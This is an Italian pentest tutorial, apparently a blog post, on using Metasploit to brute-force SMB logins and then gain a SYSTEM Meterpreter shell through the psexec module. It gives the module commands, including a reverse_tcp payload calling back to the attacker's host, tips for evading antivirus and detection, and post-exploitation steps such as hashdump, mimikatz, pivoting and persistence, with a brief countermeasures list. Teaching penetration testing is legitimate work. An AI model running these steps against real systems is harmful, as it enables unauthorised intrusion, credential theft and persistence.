🛠️ **Exploiting SMB con PsExec in Metasploit**
PsExec è uno strumento sviluppato da Sysinternals/Microsoft, pensato per l’esecuzione di comandi su sistemi remoti Windows senza dover installare software aggiuntivo sulla macchina target. Usa il prot
🛠️ Exploiting SMB con PsExec in Metasploit
🔍 Cos’è PsExec?
PsExec è uno strumento sviluppato da Sysinternals/Microsoft, pensato per l’esecuzione di comandi su sistemi remoti Windows senza dover installare software aggiuntivo sulla macchina target. Usa il protocollo SMB (Server Message Block) per autenticarsi e trasferire/eseguire i binari.
PsExec è spesso sfruttato dai pentester e dai malware per eseguire codice remoto come SYSTEM, una volta ottenute credenziali valide.
🎯 Obiettivo dell’attacco
1. Effettuare un brute force SMB per trovare credenziali valide. 2. Usare PsExec per ottenere una sessione Meterpreter come SYSTEM. 3. Eseguire comandi in remoto, scaricare dati, ottenere persistenza o pivoting.
📌 Prerequisiti
- Accesso alla rete target.
- Porta 445 (SMB) aperta sul bersaglio.
- Credenziali valide di un utente Windows con permessi amministrativi sul sistema.
- Nessuna protezione anti-malware aggressiva attiva (PsExec è spesso rilevato).
🔓 1. Brute Forcing SMB con Metasploit
🔧 Modulo da usare:
use auxiliary/scanner/smb/smb_login🧩 Parametri da configurare:
set RHOSTS <IP_target>
set USER_FILE /path/to/users.txt
oppure:
set SMBUser <user>
set PASS_FILE /path/to/passwords.txt
oppure:
set SMBPass <pass>
set SMBDomain <dominio>
opzionale:
set THREADS 10 # per velocizzare il processo run✅ Se il brute force ha successo, verranno mostrati gli account con accesso valido.
💣 2. Exploiting SMB con PsExec
Una volta ottenute credenziali valide (preferibilmente Administrator o SYSTEM-level), puoi sfruttare:
use exploit/windows/smb/psexec🔧 Parametri da configurare:
set RHOSTS <IP_target>
set SMBUser <username>
set SMBPass <password>
set SMBDomain <dominio>
opzionale:
set payload windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444
exploit
Questo modulo carica un file eseguibile temporaneo (di default in \\) e lo esegue come NT AUTHORITY\SYSTEM, dandoti accesso completo alla macchina.
🧠 Note Tecniche Importanti
- PsExec carica ed esegue un payload (EXE) nella condivisione
ADMIN$, accessibile solo se l’utente ha privilegi amministrativi.
- Alcuni AV e EDR bloccano o rilevano automaticamente i binari associati a PsExec, specialmente se generati con Metasploit.
- È possibile utilizzare varianti di PsExec:
psexec_command: per eseguire comandi singoli.
- psexec_psh: per usare PowerShell e bypassare alcuni antivirus.
🧪 Validazioni Manuali
Puoi anche testare le credenziali manualmente (utile se vuoi evitare detection):
smbclient -U username //target_ip/C$oppure:
rpcclient -U username target_ipSe l'accesso è consentito, le credenziali sono valide.
🎯 Obiettivi Post-Exploitation
Una volta ottenuta la sessione Meterpreter:
- PrivEsc locale (se non sei SYSTEM).
- Dump delle credenziali (es.
hashdump,mimikatz).
- Pivoting: usando il modulo
autorouteosocks_proxy.
- Persistence: creare utenti, pianificare task, ecc.
🛡️ Contromisure
Essere un buon pentester implica anche conoscere le difese.
- Disabilitare le condivisioni SMB se non necessarie.
- Usare password complesse e account con privilegi minimi.
- Abilitare il Firewall di Windows e filtrare la porta 445.
- Usare strumenti EDR per identificare e bloccare comportamenti anomali (come PsExec).
📚 Risorse utili
- Metasploit Docs - PsExec Module
- OWASP SMB Attacks